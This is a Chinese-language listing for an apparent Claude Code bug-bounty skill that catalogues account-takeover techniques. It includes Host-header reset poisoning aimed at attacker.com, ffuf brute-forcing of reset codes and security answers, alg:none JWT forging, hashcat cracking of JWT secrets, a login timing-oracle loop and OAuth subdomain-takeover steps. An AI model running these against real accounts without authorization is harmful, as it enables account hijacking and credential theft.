mcpField
H
hunt-ato

hunt-ato

github.com/elementalsouls安全5.3k296 次安装今天更新
代码仓库

关于 hunt-ato

hunt-ato 是用于安全测试的账号接管漏洞狩猎技能,面向漏洞研究者。它按攻击路径整理密码重置、令牌、JWT、邮箱变更和身份验证流程等测试方法,并强调对第二个测试账号完成端到端验证。

主要功能

  1. 01整理多种账号接管攻击路径
  2. 02提供密码重置与令牌测试方法
  3. 03涵盖 JWT 操纵和邮箱变更
  4. 04说明端到端接管验证
  5. 05按受害者交互需求划分严重性

适用场景

  1. 01测试密码重置链接是否受 Host 头影响
  2. 02验证重置令牌的强度与有效期
  3. 03检查邮箱变更是否需要重新认证
  4. 04确认漏洞能否接管第二个测试账号

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-ato

安装后在 Claude Code 中输入/hunt-ato确认已加载。

详细介绍

13. ATO — 账户接管分类

9 条不同的路径。ATO 是一种攻击结果类别,而非单一漏洞——只有当你证明能从攻击者 A 的会话 / IP / 设备接管一个你无法控制的第二个账户(测试账户 B)时,下列各路径才会成为严重问题。若某条路径只会让你无法登录自己的账户,或只有在你已持有受害者的密码和会话时才有效,就不能单独算作 ATO。

路径 1:密码重置投毒(Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

重置邮件程序根据请求的 Host 标头构建链接 → 链接指向 attacker.com/reset?token=XXXX。确认方式 = 带外(OOB),而非基于响应: 将标头指向 Burp Collaborator / 唯一的 DNS 名称,然后查看实际邮件(测试时使用你自己控制的受害者 B 收件箱)。如果令牌只出现在发往你的 Collaborator 主机的邮件正文中,就有了证明。 排除误报的关键: 许多应用会在邮件中放入 attacker.com,但实际链接的域名由服务器固定指定——请查看邮件,不要根据反射的标头推断。

路径 2:Referer 中的重置令牌 / 开放重定向泄露
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

还要测试重置页面是否会 302 重定向到携带令牌 URL 的开放重定向。证明: 在 Network 标签页中捕获外发请求(如果你控制了跨源主机,也可使用 Collaborator),确认 Referer 中包含完整令牌。可通过 Referrer-Policy: no-referrer 和将令牌放在 POST 正文中缓解——请注明它们缺失。

路径 3:可预测 / 弱重置令牌
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

规范流程: 自行请求受害者 B 的令牌(你拥有 B),通过抽样确认熵,THEN 再证明一次新的暴力破解成功。仅针对 /forgot-password 的速率限制问题通常会被拒绝——影响在于猜测令牌,而非大量发送请求。

路径 4:令牌永不过期 / 可重用 / 跨账户
Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
路径 5:无需重新认证即可更改电子邮件
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"}     # no current_password, no OTP, no email-confirm

如果更改生效时既无需验证当前密码,也无需向旧地址发送确认链接,那么触发密码重置 → 重置邮件到达攻击者邮箱 → ATO。最严重的变体甚至跳过对新地址的确认。常见模式:账户关联 / 更改电子邮件 → 因缺少重新认证而导致 ATO。

路径 6:JWT 操纵
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

此类问题的已验证依据: CVE-2015-9235(node jsonwebtoken <4.2.2 — 算法混淆 / none 绕过),CVE-2016-10555(jwt-simple RS256→HS256)。验证: 伪造的令牌必须能以受害者 B 的身份访问特权端点(例如 GET /api/admin 或 GET /api/users/B)——解码 / 伪造令牌不代表造成了影响;以 B 的身份执行授权操作才算。如果服务器忽略伪造的 sub,而是依据会话 Cookie 进行身份验证,那么 JWT 就不是信任边界——不构成发现。

路径 7:无需二次验证即可更改密码 + 登录验证预言机
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass

无需二次验证的密码更改端点是持久化放大器:Cookie 被盗(暂时性)+ 此问题 = 攻击者通过被盗 Cookie 设置新密码 → 从任何设备 / IP 控制 B,受害者则被锁定在账户之外。排除误报: 确认确实没有当前密码 / MFA 验证——许多 API 会将该字段设为可选,但仍会在服务器端返回 403;重放时省略该字段,检查实际状态是否发生变化(尝试从干净的浏览器使用新密码登录)。

路径 8:滥用社交恢复 / 安全问题
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

配合 offensive-osint 使用:许多“秘密”答案(出生城市、宠物、学校)会公开在社交资料中 → 无需暴力破解。验证时,完整走完恢复流程并登录账户 B。

路径 9:OAuth redirect_uri 处的 SSO 子域名接管
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain

**确认方式 = OOB:**授权 code(或隐式流程中的 access_token)必须实际到达你声明的主机——在服务器端记录该值,并将其兑换为 B 的令牌。若 redirect_uri 只是反射站外值,但代码会经由服务器固定的兑换流程跳转,则不可利用。将任何错误响应正文解析为 JSON,而不要进行子字符串匹配——AADSTS50076 / claims-challenge 响应的 claims 字段中包含字面量 access_token 子字符串,但它并不是可用令牌。

路径 10:预注册账户 / 未验证账户接管

受害者的账户处于待处理/未验证状态(尚未接受邀请、注册邮箱从未验证,或账户没有邮箱)。先认领该账户:将你控制的邮箱注册或关联到该身份,然后让受害者完成 SSO/OTP 登录并继承攻击者预先植入的状态——或者在关联你的邮箱后触发重置。测试邀请/待处理流程,以及任何会为尚未确认邮箱的账户写入邮箱的端点;确认受害者登录后会进入你预先植入状态的账户。影响严重,且无需与令牌交互。已披露:reports/1679734、reports/394329。

路径 11:通过标识符滥用无密码登录 / 魔法链接

无密码注册 / 魔法登录 / OTP 登录端点仅凭可枚举的标识符(电话/邮箱)即可设置或重置密码(或签发会话),且无需令牌步骤。探测 *passwordless*、*magic*、*/otp-login、*/signup:仅提供电话/邮箱是否就能为该身份设置密码或返回会话?枚举标识符以证明可影响任意账户;仅凭测试账户 B 的电话号码接管该账户进行验证。已披露:reports/143717。

ATO 严重性判定标准
  • 严重 — 受害者无需交互或只需少量交互:Host 头重置投毒、伪造 JWT 访问受害者端点、宽松 redirect_uri 导致授权码被盗、由 IDOR 驱动的邮箱更改 → 重置。
  • 高 — 需要点击一封邮件,或需要已有会话/cookie(Referer 泄漏、窃取 cookie 后无需额外验证即可更改密码)。
  • 中 — 需要网络钓鱼 + 用户主动交互(OAuth 链接 CSRF,要求受害者点击链接并已登录)。
  • 低 — 攻击者必须是 MitM,或影响仅限攻击者自己的账户。

相关技能与攻击链

  • hunt-idor — 最可靠的 ATO 基础手法,无需控制邮箱,也无需竞争条件。攻击链基础手法:使用攻击者 A 的会话和受害者 B 的 UID,发送 PATCH /api/users/{victimB_uid},并附带 {"email":"[email protected]"} → 触发密码重置 → 重置邮件发送到攻击者邮箱 → 完全接管账户(ATO),受害者无需进行任何交互(Path 5 + IDOR = 严重)。
  • hunt-mfa-bypass — 只有同时绕过 MFA,Path 7 才属于严重问题。攻击链基础手法:密码更改端点在没有当前密码验证且无需 MFA 二次验证的情况下接受新密码 → 窃取 Cookie(XSS / 令牌泄露)+ 登录时序预言机 → 使用被盗 Cookie 设置新密码 → 无需 MFA,即可从任意 IP / 设备接管账户(ATO)。
  • hunt-oauth — Path 9 属于此处。攻击链基础手法:redirect_uri 验证接受子域名匹配(*.target.com)+ hunt-subdomain 发现 staging.target.com 上存在悬空 CNAME → 在 Heroku/S3 上认领该域名 → 托管 OAuth 回调 → 受害者点击精心构造的授权 URL → 授权码落到攻击者子域名 → 换取令牌 → 接管账户(ATO)。始终使用 JSON 解析 OAuth 错误响应正文;绝不要用子字符串匹配 access_token。
  • hunt-api-misconfig — Path 6(JWT)的细节也在此处:alg:none、RS256→HS256 密钥混淆(使用 JWKS 公钥作为 HMAC 密钥进行签名)、kid 路径遍历 / SQLi,以及弱密钥破解(hashcat -m 16500)。将其与此技能一同加载,以了解 JWK→PEM 转换机制。
  • hunt-host-header — Path 1 的标准基础手法。攻击链基础手法:发送 POST /forgot-password,并设置 Host/X-Forwarded-Host: attacker.com → 邮件程序根据请求中的 Host 构建链接 → 链接指向 attacker.com/reset?token=XXXX → 受害者点击 → 令牌泄露 → 接管账户(ATO)。通过 Collaborator 托管的域名读取实际邮件进行确认,不要依赖反射的请求头。
  • offensive-osint — Path 8 的效果倍增器:多数安全问题的答案(出生城市、宠物、第一所学校、母亲的娘家姓)都能通过社交资料进行 OSINT → 无需任何暴力破解即可恢复账户 B。
  • security-arsenal — 获取密码重置绕过表(X-Forwarded-Host、X-Host、X-HTTP-Host-Override、双 Host 走私)、令牌熵攻击载荷(连续数字、基于时间且可预测)、JWT 攻击表,以及关于“/forgot-password 速率限制”的报告中始终会被拒绝的情况列表。
  • triage-validation — 如果 ATO 需要受害者点击链接、输入凭据并通过 CAPTCHA,那么在宣称其为严重问题之前,先运行严重性预检。可复现性步骤(在 10 分钟内通过全新的浏览器逐步演示:从攻击者 A 的会话接管测试账户 B)可以区分可获严重级别奖励的问题和会被按自 XSS 级别拒绝的问题。

评论

支持 Markdown